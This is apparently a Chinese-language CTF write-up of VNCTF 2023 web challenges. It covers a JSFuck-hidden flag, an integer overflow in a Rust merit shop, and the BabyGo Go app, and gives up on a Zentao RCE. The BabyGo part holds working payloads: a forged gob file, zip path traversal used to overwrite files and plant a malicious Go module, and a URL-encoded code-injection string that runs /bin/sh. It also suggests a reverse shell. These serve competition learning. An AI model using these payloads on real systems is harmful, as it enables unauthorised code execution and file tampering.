象棋王子
什么年代了谁还下传统象棋啊
游戏题,f12查看源码
查看源代码可以看到有jsfuck加密
控制台跑一下得出flag
电子木鱼
敲电子木鱼,拜机械佛祖
传赛博真经,娶初音未来
(我他妈敲敲敲敲敲),一开始只给了这个界面,dirsearch也扫不到什么东西
但是有个题目附件
链接:https://pan.baidu.com/s/1xAQHZW5XLX32uozbw46DCg 提取码:5vhw --来自百度网盘超级会员V5的分享
下载之后可以找到main.rs
文件打开,路径是电子木鱼->chall->src->main.rs
通过代码审计,可以看到在/upgrade
路由下有以下代码
说明我们要传入name
的值,通过下面代码可以看到不同的name
所对应的cost
先传入一个Loan
玩玩,但是除了name
还有一个变量quantity
所以我们要传入name
和quantity
,构造payload:
http://922503fe-76f0-4704-9ef2-46d5b8258210.node4.buuoj.cn:81/upgrade
Post Data:
name=Loan&quantity=114151114
传入之后功德会加1000,这里传了两次
然后重新构造payload:
http://922503fe-76f0-4704-9ef2-46d5b8258210.node4.buuoj.cn:81/upgrade
Post Data:
name=Cost&quantity=1141511142
然后就可以得到flag
关键就是在
cost *= body.quantity;
这里用通俗的代码解释就是:
cost = cost * quantity;
然后最后设定的功德值是原值减去cost值,所以想办法让cost为负数或者quantity为负数即可让功德增加,在name等于Donate和Cost时cost初始都是整数,只能让quantity为负,想到让quantity过大然后溢出。
溢出成功后得到flag
BabyGo
只有我是真的签到,他们都是骗你的
群众里有坏人啊!
有附件,打开后是代码,看来是go的代码审计
源码如下:
package main
import (
"encoding/gob"
"fmt"
"github.com/PaulXu-cn/goeval"
"github.com/duke-git/lancet/cryptor"
"github.com/duke-git/lancet/fileutil"
"github.com/duke-git/lancet/random"
"github.com/gin-contrib/sessions"
"github.com/gin-contrib/sessions/cookie"
"github.com/gin-gonic/gin"
"net/http"
"os"
"path/filepath"
"strings"
)
type User struct {
Name string
Path string
Power string
}
func main() {
r := gin.Default()
store := cookie.NewStore(random.RandBytes(16))
r.Use(sessions.Sessions("session", store))
r.LoadHTMLGlob("template/*")
r.GET("/", func(c *gin.Context) {
userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/"
session := sessions.Default(c)
session.Set("shallow", userDir)
session.Save()
fileutil.CreateDir(userDir)
gobFile, _ := os.Create(userDir + "user.gob")
user := User{
Name: "ctfer", Path: userDir, Power: "low"}
encoder := gob.NewEncoder(gobFile)
encoder.Encode(user)
if fileutil.IsExist(userDir) && fileutil.IsExist(userDir+"user.gob") {
c.HTML(200, "index.html", gin.H{
"message": "Your path: " + userDir})
return
}
c.HTML(500, "index.html", gin.H{
"message": "failed to make user dir"})
})
r.GET("/upload", func(c *gin.Context) {
c.HTML(200, "upload.html", gin.H{
"message": "upload me!"})
})
r.POST("/upload", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("shallow") == nil {
c.Redirect(http.StatusFound, "/")
}
userUploadDir := session.Get("shallow").(string) + "uploads/"
fileutil.CreateDir(userUploadDir)
file, err := c.FormFile("file")
if err != nil {
c.HTML(500, "upload.html", gin.H{
"message": "no file upload"})
return
}
ext := file.Filename[strings.LastIndex(file.Filename, "."):]
if ext == ".gob" || ext == ".go" {
c.HTML(500, "upload.html", gin.H{
"message": "Hacker!"})
return
}
filename := userUploadDir + file.Filename
if fileutil.IsExist(filename) {
fileutil.RemoveFile(filename)
}
err = c.SaveUploadedFile(file, filename)
if err != nil {
c.HTML(500, "upload.html", gin.H{
"message": "failed to save file"})
return
}
c.HTML(200, "upload.html", gin.H{
"message": "file saved to " + filename})
})
r.GET("/unzip", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("shallow") == nil {
c.Redirect(http.StatusFound, "/")
}
userUploadDir := session.Get("shallow").(string) + "uploads/"
files, _ := fileutil.ListFileNames(userUploadDir)
destPath := filepath.Clean(userUploadDir + c.Query("path"))
for _, file := range files {
if fileutil.MiMeType(userUploadDir+file) == "application/zip" {
err := fileutil.UnZip(userUploadDir+file, destPath)
if err != nil {
c.HTML(200, "zip.html", gin.H{
"message": "failed to unzip file"})
return
}
fileutil.RemoveFile(userUploadDir + file)
}
}
c.HTML(200, "zip.html", gin.H{
"message": "success unzip"})
})
r.GET("/backdoor", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("shallow") == nil {
c.Redirect(http.StatusFound, "/")
}
userDir := session.Get("shallow").(string)
if fileutil.IsExist(userDir + "user.gob") {
file, _ := os.Open(userDir + "user.gob")
decoder := gob.NewDecoder(file)
var ctfer User
decoder.Decode(&ctfer)
if ctfer.Power == "admin" {
eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
if err != nil {
fmt.Println(err)
}
c.HTML(200, "backdoor.html", gin.H{
"message": string(eval)})
return
} else {
c.HTML(200, "backdoor.html", gin.H{
"message": "low power"})
return
}
} else {
c.HTML(500, "backdoor.html", gin.H{
"message": "no such user gob"})
return
}
})
r.Run(":80")
}
这里一共有五个路由,首先是/
路由
r.GET("/", func(c *gin.Context) {
userDir := "/tmp/" + cryptor.Md5String(c.ClientIP()+"VNCTF2023GoGoGo~") + "/"
session := sessions.Default(c)
session.Set("shallow", userDir)
session.Save()
fileutil.CreateDir(userDir)
gobFile, _ := os.Create(userDir + "user.gob")
user := User{
Name: "ctfer", Path: userDir, Power: "low"}
encoder := gob.NewEncoder(gobFile)
encoder.Encode(user)
if fileutil.IsExist(userDir) && fileutil.IsExist(userDir+"user.gob") {
c.HTML(200, "index.html", gin.H{
"message": "Your path: " + userDir})
return
}
c.HTML(500, "index.html", gin.H{
"message": "failed to make user dir"})
})
在这个处理函数中,首先根据IP 地址和一个固定的字符串生成一个唯一的用户目录路径
userDir
,并将该路径存入一个名为shallow
的 session 中。接着,使用
fileutil.CreateDir
函数创建该目录,并在该目录中创建一个名为 user.gob 的文件。然后通过gob.NewEncoder
函数将一个名为 User 的结构体对象编码为 Gob 格式,并将编码结果写入user.gob
文件中。最后,检查用户目录和
user.gob
文件是否成功创建,如果成功则返回 HTTP 状态码 200 和一个包含用户目录路径的 HTML 页面,否则返回 HTTP 状态码 500 和一个包含错误信息的 HTML 页面。
然后是/upload
路由
r.POST("/upload", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("shallow") == nil {
c.Redirect(http.StatusFound, "/")
}
userUploadDir := session.Get("shallow").(string) + "uploads/"
fileutil.CreateDir(userUploadDir)
file, err := c.FormFile("file")
if err != nil {
c.HTML(500, "upload.html", gin.H{
"message": "no file upload"})
return
}
ext := file.Filename[strings.LastIndex(file.Filename, "."):]
if ext == ".gob" || ext == ".go" {
c.HTML(500, "upload.html", gin.H{
"message": "Hacker!"})
return
}
filename := userUploadDir + file.Filename
if fileutil.IsExist(filename) {
fileutil.RemoveFile(filename)
}
err = c.SaveUploadedFile(file, filename)
if err != nil {
c.HTML(500, "upload.html", gin.H{
"message": "failed to save file"})
return
}
c.HTML(200, "upload.html", gin.H{
"message": "file saved to " + filename})
})
很明显,这里有一个文件上传的功能
首先使用
sessions.Default
函数获取一个名为shallow
的 session,如果该 session 不存在,则重定向到根目录。然后根据shallow
session 中存储的用户目录路径,创建一个名为uploads
的子目录,用于存储用户上传的文件。接着,使用
c.FormFile
函数从 HTTP 请求中获取上传的文件对象,并检查是否出错。如果出错,则返回 HTTP 状态码 500 和一个包含错误信息的 HTML 页面。然后,从上传的文件对象中获取文件扩展名,如果文件扩展名为
.gob
或.go
,则认为上传的是危险文件,将返回 HTTP 状态码 500 和一个包含错误信息的 HTML 页面。接下来,构造上传文件的路径,并检查该路径是否已存在,如果已存在,则先删除原文件。最后,使用
c.SaveUploadedFile
函数将上传的文件保存到指定路径中,并返回 HTTP 状态码 200 和一个包含成功上传文件路径的 HTML 页面。
接下来是/unzip
的功能,这里并没有给我们上传zip压缩文件的方法,所以是解压我们刚才在/upload
路径上的上传的文件,源码如下:
r.GET("/unzip", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("shallow") == nil {
c.Redirect(http.StatusFound, "/")
}
userUploadDir := session.Get("shallow").(string) + "uploads/"
files, _ := fileutil.ListFileNames(userUploadDir)
destPath := filepath.Clean(userUploadDir + c.Query("path"))
for _, file := range files {
if fileutil.MiMeType(userUploadDir+file) == "application/zip" {
err := fileutil.UnZip(userUploadDir+file, destPath)
if err != nil {
c.HTML(200, "zip.html", gin.H{
"message": "failed to unzip file"})
return
}
fileutil.RemoveFile(userUploadDir + file)
}
}
c.HTML(200, "zip.html", gin.H{
"message": "success unzip"})
})
使用
sessions.Default
函数获取一个名为shallow
的 session,如果该 session 不存在,则重定向到根目录。然后根据shallow
session 中存储的用户目录路径,创建一个名为uploads
的子目录,用于存储用户上传的文件。接着,使用
fileutil.ListFileNames
函数获取用户上传目录中的文件列表,并将目标解压路径存储在destPath
变量中。然后遍历上传目录中的所有文件,如果发现其中有 ZIP 格式的文件,则使用
fileutil.UnZip
函数将其解压到目标路径中,如果解压失败,则返回 HTTP 状态码 200 和一个包含错误信息的 HTML 页面,并删除原 ZIP 文件。最后,如果所有 ZIP 文件都成功解压,则返回 HTTP 状态码 200 和一个包含成功信息的 HTML 页面。
最后是/backdoor
路由
r.GET("/backdoor", func(c *gin.Context) {
session := sessions.Default(c)
if session.Get("shallow") == nil {
c.Redirect(http.StatusFound, "/")
}
userDir := session.Get("shallow").(string)
if fileutil.IsExist(userDir + "user.gob") {
file, _ := os.Open(userDir + "user.gob")
decoder := gob.NewDecoder(file)
var ctfer User
decoder.Decode(&ctfer)
if ctfer.Power == "admin" {
eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
if err != nil {
fmt.Println(err)
}
c.HTML(200, "backdoor.html", gin.H{
"message": string(eval)})
return
} else {
c.HTML(200, "backdoor.html", gin.H{
"message": "low power"})
return
}
} else {
c.HTML(500, "backdoor.html", gin.H{
"message": "no such user gob"})
return
}
})
r.Run(":80")
}
在这个处理函数中,首先使用
sessions.Default
函数获取一个名为shallow
的 session,如果该 session 不存在,则重定向到根目录。然后根据shallow
session 中存储的用户目录路径,获取用户信息文件user.gob
的路径。接着,如果用户信息文件存在,则使用
gob.NewDecoder
函数创建一个 Gob 解码器,读取用户信息文件中的数据,并解码为一个名为ctfer
的User
结构体对象。然后,如果
ctfer
的Power
字段为"admin"
,则使用goeval.Eval
函数执行一个 Go 代码字符串"fmt.Println(\"Good\")"
,并将结果存储在eval
变量中。如果执行过程中出现错误,则将错误信息输出到控制台中。最后,如果
ctfer
的Power
字段为"admin"
,则返回 HTTP 状态码 200 和一个包含执行结果的 HTML 页面,否则返回 HTTP 状态码 200 和一个包含权限不足的错误信息的 HTML 页面。需要注意的是,该代码依赖于一些自定义的函数和数据结构,如
User
结构体、goeval.Eval
函数和fileutil
包中的一些函数。这些函数和结构体的具体实现没有在代码中给出,因此无法确定它们的作用和功能。此外,该代码中包含了一个后门,可以通过在 URL 中传递pkg
参数来注入任意 Go 代码字符串并执行。
通过代码审计来获得思路
思路:通过文件上传功能上传zip,利用unzip功能可以将zip解压到任意路径,做到文件覆盖的效果,然后获得backdoor的访问权限,backdoor允许自定义模块,通过文件覆盖,令后端代码使用我们编写的恶意go模块并同时获得RCE
因为/upload
功能不能上传go和gob,所以我们要上传.zip
文件
文件路径:
/tmp/xxxxxx/uploads/
通过/unzip
解压后也是会解压到这个路径
查看unzip的实现代码,能够看出zip解压路径由 固定的/tmp/xxx/uploads/ + 我们可控的path
http参数
那我们可以设置get参数path
为../
就能解压到任意路径
然后在/backdoor
路由中判断用户的Power
是否admin,而用户信息从/tmp/xxx/中的user.gob读取的
关于user.gob
初始化的关键代码如下
既然struct
和序列化代码都给我们,我们可以写个代码,将Power
赋值为admin
// user.go
package main
import (
"encoding/gob"
"fmt"
"os"
)
type User struct {
Name string
Path string
Power string
}
func main() {
userDir := "/tmp/05b9ef44a4225019d5e074eb8582dd2a/" //自己docker起后的路径
user := User{
Name: "ctfer", Path: userDir, Power: "admin"}
file, err := os.Create("./user.gob")
if err != nil {
fmt.Println("创建文件失败")
return
}
defer file.Close()
encoder := gob.NewEncoder(file)
err = encoder.Encode(user)
if err != nil {
fmt.Println("编码错误")
return
} else {
fmt.Println("编码成功")
}
}
这段代码将生成一个新的user.gob
,可以将自动生成的user.go
覆盖掉,然后利用任意文件路径解压,将新生成的user.gob
上传到路径上,达到覆盖原始的user.go
文件目的,这样就可以将Power
的值变为admin
,我们就可以使用/backdoor
了
先上传文件
然后利用解压缩功能来进行文件覆盖
http://4785b46d-93b9-4c14-9adf-a6f8c894f5f8.node4.buuoj.cn:81/unzip?path=../../../tmp/02c0bcf079ce7f2af7eef834a523223f/
显示success zip
然后再访问/backdoor
就可以看到回显good
接下来是在/backdoor
路由下进行RCE
RCE的关键代码如下:
eval, err := goeval.Eval("", "fmt.Println(\"Good\")", c.DefaultQuery("pkg", "fmt"))
方法一、
有权限使用/backdoor
之后新的问题又来了这里的Eval()
函数执行的命令不可控
,难蚌,但是我们可以控制他使用的模块
http Get参数pkg
默认值为:fmt
我们可以调用我们编写的fmt模块
,并调用我们编写的Println()
函数,但是这里禁用了相对路径模块调用,我们只能将编写的模块上传到
/usr/local/go/src/
这里用来存放go模块,我们可以通过刚才的/upload
和/unzip
来上传并调用它
创建一个hackerM
的文件夹,然后在文件夹内打开cmd
输入
go mod init fmt
这样会得到一个go.mod
文件,在文件中添加以下内容:
require hackerM/fmt v0.0.0
replace hackerM/fmt v0.0.0 => ../fmt
接下来在hackerM
目录下在创建一个/fmt
目录创建fmt.go
文件,内容如下
package fmt
import "os/exec"
import "fmt"
func Println(cmd string) {
out, _ := exec.Command("cat", "/ffflllaaaggg").Output()
// out, _ := exec.Command("whoami").Output()
fmt.Println(string(out))
}
// /usr/local/go/src/
这里可以直接把命令换成反弹shell,会方便一点
可以参考:VNCTF2023 web
然后将hackerM文件夹压缩为zip,上传,并且解压到/usr/local/go/src/
,payload:
http://4785b46d-93b9-4c14-9adf-a6f8c894f5f8.node4.buuoj.cn:81/unzip?path=../../../../../usr/local/go/src/
访问后,去/backdoor
路由,并且用pkg参数来访问,payload:
http://7b6f8784-9316-4def-a7c1-2cc09f9143d9.node4.buuoj.cn:81/backdoor?pkg=hackerM/fmt
得到flag
方法二:
将Power
变为admin
后直接payload直接打:
http://84231576-ede8-45c2-9b99-5829e10c64d3.node4.buuoj.cn:81/backdoor?pkg=os/exec%22%0A%22fmt%22)%0Afunc%09init()%7B%0Acmd:=exec.Command(%22/bin/sh%22,%22-c%22,%22cat${IFS}/f*%22)%0Ares,err:=cmd.CombinedOutput()%0Afmt.Println(err)%0Afmt.Println(res)%0A}%0Aconst(%0AMessage=%22fmt
url解码一下就是:
http://84231576-ede8-45c2-9b99-5829e10c64d3.node4.buuoj.cn:81/backdoor?pkg=os/exec"
"fmt")
func init(){
cmd:=exec.Command("/bin/sh","-c","cat${IFS}/f*")
res,err:=cmd.CombinedOutput()
fmt.Println(err)
fmt.Println(res)
}
const(
Message="fmt
得到结果
然后用python脚本解码:
str = [102,108,97,103,123,102,54,52,99,98,52,56,53,45,101,98,57,53,45,52,52,50,99,45,57,99,49,54,45,55,100,102,98,48,52,97,100,102,57,57,101,125,10]
for i in range(42):
print(chr(str[i]),end="")
跑一下得出flag
easyzentao
最新版禅道RCE
提示我们是禅道的cms
,并且是RCE漏洞,按f12查看源码可以知道版本,18.0
谷歌搜索一下zentao 18.0漏洞
但是!没有,难蚌,网上的师傅们也没有wp然后我又看了一眼官方wp
更难蚌的事情出现了
就这样吧,希望有佬能写出来
两位师傅的wp,BabyGo有很多借鉴他们的地方
f0njl师傅的wp:VNCTF 2023复现
Sugobet师傅的wp:VNCTF 2023 - Web 象棋王子|电子木鱼|BabyGo Writeups